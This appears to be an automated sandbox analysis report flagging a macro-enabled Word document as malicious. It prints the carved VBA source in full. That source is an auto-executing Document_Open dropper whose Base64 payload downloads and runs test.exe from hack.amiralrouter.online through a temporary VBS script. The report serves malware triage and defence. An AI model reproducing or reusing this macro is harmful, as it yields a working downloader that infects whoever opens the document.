MALICIOUS
232
Risk Score
Heuristics 8
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VBA project inside OOXML medium 5 related findings OOXML_VBADocument contains a VBA project — VBA macros present
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Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
Shell (Base64Decode("Y21kLmV4ZSAvYyAi") & TempFile & """") -
VBA Base64-decoded Shell command stager critical OLE_VBA_BASE64_SHELL_COMMAND_STAGERVBA auto-exec macro decodes Base64 string literals into command or script-launch text and executes the result with Shell. This catches cmd/cscript/PowerShell/VBS launchers hidden from plain keyword matching.Matched line in script
TempFile = CreateObject("Scripting.FileSystemObject").GetSpecialFolder(2) + "/serve.vbs" -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
TempFile = CreateObject("Scripting.FileSystemObject").GetSpecialFolder(2) + "/serve.vbs" -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECTriggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
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Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open() -
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL https://hack.amiralrouter.online/test.exe Referenced by macro
- http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 2709 bytes |
SHA-256: ee5f278463d2749197ee7d883744ca3447fa660ee66e9d432c0d7a75eedb4595 |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains 6 long base64-like blob(s).
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function Base64Decode(ByVal base64String)
Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
Dim dataLength, sOut, groupBegin
dataLength = Len(base64String)
For groupBegin = 1 To dataLength Step 4
Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut
numDataBytes = 3
nGroup = 0
For CharCounter = 0 To 3
thisChar = Mid(base64String, groupBegin + CharCounter, 1)
If thisChar = "=" Then
numDataBytes = numDataBytes - 1
thisData = 0
Else
thisData = InStr(1, Base64, thisChar, vbBinaryCompare) - 1
End If
nGroup = 64 * nGroup + thisData
Next
nGroup = Hex(nGroup)
nGroup = String(6 - Len(nGroup), "0") & nGroup
pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + Chr(CByte("&H" & Mid(nGroup, 3, 2))) + Chr(CByte("&H" & Mid(nGroup, 5, 2)))
sOut = sOut & Left(pOut, numDataBytes)
Next
Base64Decode = sOut
End Function
Private Sub Document_Open()
Dim data
data = data & "ICAgIERpbSB4SHR0cDogU2V0IHhIdHRwID0gQ3JlYXRlT2JqZWN0KCJNaWNyb3NvZnQuWE1MSFRUUCIpDQogICAgRGltIGJTdHJtOiBTZXQgYlN0cm0gPSBDcmVhdGVP"
data = data & "YmplY3QoIkFkb2RiLlN0cmVhbSIpDQogICAgeEh0dHAuT3BlbiAiR0VUIiwgImh0dHBzOi8vaGFjay5hbWlyYWxyb3V0ZXIub25saW5lL3Rlc3QuZXhlIiwgRmFsc2UN"
data = data & "CiAgICB4SHR0cC5TZW5kDQogICAgDQogICAgVGVtcEZpbGUgPSBDcmVhdGVPYmplY3QoIlNjcmlwdGluZy5GaWxlU3lzdGVtT2JqZWN0IikuR2V0U3BlY2lhbEZvbGRl"
data = data & "cigyKSArICIvc2VydmUuZXhlIg0KICAgICANCiAgICBXaXRoIGJTdHJtDQogICAgICAgIC5UeXBlID0gMQ0KICAgICAgICAuT3Blbg0KICAgICAgICAud3JpdGUgeEh0"
data = data & "dHAucmVzcG9uc2VCb2R5DQogICAgICAgIC5zYXZldG9maWxlIFRlbXBGaWxlLCAyDQogICAgRW5kIFdpdGgNCiAgICAgIA0KICAgIERpbSBvYmpTaGVsbA0KICAgIFNl"
data = data & "dCBvYmpTaGVsbCA9IENyZWF0ZU9iamVjdCgiV1NjcmlwdC5TaGVsbCIpDQogICAgb2JqU2hlbGwuUnVuIChUZW1wRmlsZSkNCiAgICBTZXQgb2JqU2hlbGwgPSBOb3Ro"
data = data & "aW5nDQoNCg=="
Dim TempFile
TempFile = CreateObject("Scripting.FileSystemObject").GetSpecialFolder(2) + "/serve.vbs"
Set File = CreateObject("Scripting.FileSystemObject").CreateTextFile(TempFile, True)
File.Write Base64Decode(data)
File.Close
Shell (Base64Decode("Y21kLmV4ZSAvYyAi") & TempFile & """")
End Sub
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vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 806400 bytes |
SHA-256: fe5bb284b99f48bd074b41cf1f954a99ab2a39c14430967e9b9008f8b520626f |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
5628 of 9120 identifiers look randomly generated (e.g. 'WtIsrVFuYVjLc1UVpSeptCbN8vlEna5VfOZKPv5c'); 91 string-concatenation chain(s) — consistent with name-mangling obfuscation. Carved artifact contains 4983 long base64-like blob(s).
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